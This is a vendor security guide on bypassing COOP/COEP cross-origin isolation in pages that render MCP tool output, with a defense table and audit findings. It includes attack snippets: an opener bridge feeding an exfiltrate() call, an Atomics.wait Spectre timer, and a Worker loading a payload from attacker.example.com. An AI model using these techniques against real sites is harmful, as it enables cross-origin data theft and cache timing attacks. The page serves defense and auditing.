Security Guide

MCP server COOP/COEP bypass security — cross-origin isolation bypass, same-origin-allow-popups window bridge, COEP credentialless Spectre restore, COOP reporting leakage

Cross-Origin Opener Policy (COOP) and Cross-Origin Embedder Policy (COEP) together enable cross-origin isolation — the browser security model that gates access to SharedArrayBuffer, high-resolution timers, and process separation. But COOP and COEP have gaps that MCP tool authors can exploit: the same-origin-allow-popups value leaves a live window.opener bridge to cross-origin popups before the policy kicks in; COEP: credentialless enables SharedArrayBuffer while simultaneously restoring the high-resolution Spectre timer attack surface; COOP report-to endpoints receive cross-origin navigation targets; and COEP enforcement on Workers has importScripts gaps in some configurations. This page maps all four bypass patterns with code examples and defense recommendations.

COOP same-origin-allow-popups — the pre-close window.opener bridge

Cross-Origin-Opener-Policy: same-origin severs the window.opener reference when a page opens a cross-origin popup. But the more permissive value same-origin-allow-popups — used when the application legitimately needs to open cross-origin payment flows, OAuth windows, or third-party widgets — preserves window.opener access until the policy has time to take effect. The gap: a page that opens a cross-origin popup via window.open() retains a JavaScript reference to the popup's window object. Before COOP severs it, the opener can post messages to the popup and read responses.

// MCP tool code — exploiting same-origin-allow-popups to bridge cross-origin data

// The host page uses COOP: same-origin-allow-popups (to allow OAuth flows)
// An MCP tool running in the page can use this to establish a cross-origin bridge:

const popup = window.open('https://target.example.com/sensitive-page', '_blank');

// window.opener reference is preserved (same-origin-allow-popups)
// Before COOP fully severs the reference, set up a postMessage listener

popup.addEventListener('load', () => {
  // The popup's same-origin scripts may call window.opener.postMessage()
  // with data the target page's developers intended for their own OAuth flow
  // An attacker-controlled relay at target.example.com (or a compromised third party)
  // can route data through the opener bridge to the MCP tool
});

// COOP report-to: the browser sends a report to the configured endpoint
// whenever a cross-origin popup interaction is severed — this report contains
// the target URL of the popup window, leaking navigation intent
window.addEventListener('message', (e) => {
  if (e.origin === 'https://target.example.com') {
    exfiltrate(e.data);  // cross-origin data bridged via the opener relationship
  }
});

same-origin-allow-popups is weaker than same-origin. Applications that need OAuth or payment flows should use same-origin-allow-popups only when required, and should not load untrusted MCP tool output on pages that open cross-origin popups with the same policy. Tool output on same-origin pages cannot form this bridge at all.

COEP credentialless — SharedArrayBuffer with restored Spectre timers

Cross-Origin-Embedder-Policy: credentialless (Chrome 96+) is an alternative to require-corp that enables SharedArrayBuffer without requiring every embedded cross-origin resource to send Cross-Origin-Resource-Policy headers. It works by stripping credentials from cross-origin subresource requests instead of blocking them. The security paradox: COEP: credentialless meets the browser's requirement for cross-origin isolation, which enables SharedArrayBuffer — but SharedArrayBuffer with an Atomics.wait() loop in a Worker is itself a high-resolution Spectre timer that bypasses performance.now() coarsening.

// COEP: credentialless enables SharedArrayBuffer
// SharedArrayBuffer + Atomics.wait() creates a high-resolution timer
// bypassing performance.now() jitter added for Spectre mitigation

// Main thread: allocate a shared 8-byte buffer for timer signaling
const sab = new SharedArrayBuffer(8);
const sharedCounter = new Int32Array(sab);

// Worker thread: ticker loop using Atomics.wait() for high-resolution timing
// (Sent to Worker via postMessage({ sab }))
self.onmessage = ({ data: { sab } }) => {
  const counter = new Int32Array(sab);
  let n = 0;
  while (true) {
    // Atomics.wait() with 0 timeout — immediately returns "timed-out"
    // Each call takes ~1-5ns depending on CPU; counter increments at nanosecond precision
    Atomics.wait(counter, 0, counter[0], 0);
    Atomics.add(counter, 0, 1);
  }
};

// Main thread: read the counter for high-resolution time measurement
function highResTick() {
  return Atomics.load(sharedCounter, 0);
}

// Resolution: ~1-5ns — sufficient for Flush+Reload and Prime+Probe cache attacks
// This bypasses performance.now() coarsening (1ms in Chrome, 20µs-100µs with COOP/COEP)
// COEP: credentialless is the trigger — it's what enables the SharedArrayBuffer

COEP: credentialless is a Spectre timer enabler. Deploying COEP: credentialless to fix a SharedArrayBuffer requirement simultaneously enables the Atomics.wait() high-resolution timer. Any MCP tool running in a cross-origin-isolated context can build a nanosecond-precision clock using SharedArrayBuffer + Atomics.wait() and use it for cache timing attacks.

COOP report-to — cross-origin navigation target leakage

COOP supports a report-to directive that sends violation reports when a cross-origin navigation interaction is severed by the policy. These reports are sent to the configured reporting endpoint and include the type of interaction and — critically — information about the cross-origin navigation target. An MCP tool that can influence the Report-To header configuration, or that can read reports from a shared reporting endpoint, can learn which cross-origin URLs the application navigates to when COOP prevents the opener from accessing them.

// COOP violation report structure — sent to Report-To endpoint
// when cross-origin popup interaction is severed by COOP: same-origin

// Example report payload received at the reporting endpoint:
{
  "type": "coop",
  "age": 10,
  "url": "https://app.example.com/dashboard",          // the opener page
  "user_agent": "Mozilla/5.0 ...",
  "body": {
    "disposition": "enforce",
    "effectivePolicy": "same-origin",
    "openeeURL": "https://payment.external.com/checkout/session/abc123",
    //               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    //               The cross-origin URL that was severed — revealed in the report
    //               Includes path and query parameters: session ID, amount, etc.
    "openerURL": "https://app.example.com/checkout",
    "type": "navigation-to-response"
  }
}

// If the Report-To endpoint is:
// (a) attacker-controlled (via header injection)
// (b) shared with an attacker via same-origin script access
// Then the attacker learns every cross-origin URL the application opened,
// including OAuth redirect URIs, payment session URLs, and SSO endpoints

COEP: require-corp — Worker importScripts gap

When a page deploys COEP: require-corp, all cross-origin subresources must include a Cross-Origin-Resource-Policy header. Workers created in that page context inherit the COEP policy — they cannot load cross-origin scripts without CORP. However, the enforcement of COEP on importScripts() calls inside Workers has had inconsistent implementation history. In some Chromium versions prior to 107, importScripts() from a Worker created in a require-corp context did not enforce CORP on the imported scripts. An attacker who can create a Worker and call importScripts() to a cross-origin script they control can load arbitrary code into the Worker context without the CORP header — bypassing COEP's enforcement perimeter.

// COEP: require-corp Worker importScripts() bypass (pre-Chrome 107 behavior)
// The main page has: Cross-Origin-Embedder-Policy: require-corp

// Attacker creates a Worker from a Blob URL (same-origin, not subject to CORP check)
const workerCode = `
  // Inside the Worker — importScripts() loads a cross-origin script
  // In pre-107 Chromium: COEP require-corp is NOT enforced on importScripts()
  importScripts('https://attacker.example.com/payload.js');
  // payload.js now runs inside the Worker in the cross-origin-isolated context
  // The Worker has access to SharedArrayBuffer from the main page
  // This restores the Spectre timer even when COEP was intended to limit it
`;

const blob = new Blob([workerCode], { type: 'application/javascript' });
const worker = new Worker(URL.createObjectURL(blob));

// Defense: Chrome 107+ enforces COEP on importScripts()
// Pin Electron version to Chromium 107+ (Electron 22+)
// Use Content Security Policy worker-src to restrict Worker script sources
Bypass COOP/COEP value What it enables Defense
same-origin-allow-popups opener bridge COOP: same-origin-allow-popups Cross-origin postMessage relay via window.opener before COOP severs reference Use COOP: same-origin where possible; isolate OAuth flows to separate navigations
credentialless Spectre timer restore COEP: credentialless SharedArrayBuffer enabled → Atomics.wait() high-resolution timer → Spectre attacks Treat credentialless pages as Spectre-exposed; block SharedArrayBuffer in tool contexts via Permissions-Policy
COOP report-to navigation leakage COOP report-to directive Cross-origin navigation targets (including OAuth and payment URLs) exposed in violation reports Send COOP reports to internal-only endpoint; sanitize report content server-side
COEP Worker importScripts gap COEP: require-corp (pre-Chrome 107) Cross-origin scripts loaded into Worker context without CORP header, bypassing COEP Pin to Chromium 107+; add worker-src CSP to restrict Worker script sources

SkillAudit findings for COOP/COEP misconfigurations

High COOP: same-origin-allow-popups deployed on pages that serve MCP tool output with cross-origin popup interactions. Tool output can use window.opener to bridge data from cross-origin popups before COOP severs the reference. Use COOP: same-origin on pages that render tool output. Grade impact: −18.
High COEP: credentialless without SharedArrayBuffer restriction via Permissions-Policy on tool rendering contexts. credentialless enables SharedArrayBuffer; tool code can use Atomics.wait() as a nanosecond Spectre timer. Add Permissions-Policy: shared-memory-buffer=() on tool-serving origins, or use require-corp with explicit CORP headers on all subresources. Grade impact: −16.
Medium COOP report-to pointing to an externally-accessible or attacker-influenceable endpoint. COOP violation reports include cross-origin navigation target URLs. Reports should be sent to an internal-only collector. Grade impact: −10.
Medium Electron version below Chromium 107 with COEP: require-corp and Worker usage in tool contexts. importScripts() enforcement gap allows cross-origin Worker payloads without CORP. Upgrade Electron to 22+ (Chromium 108+). Grade impact: −8.

Audit your MCP server's cross-origin isolation configuration

SkillAudit checks COOP/COEP header values, identifies credentialless + SharedArrayBuffer combinations, and flags COOP report-to configurations that leak navigation targets. Paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →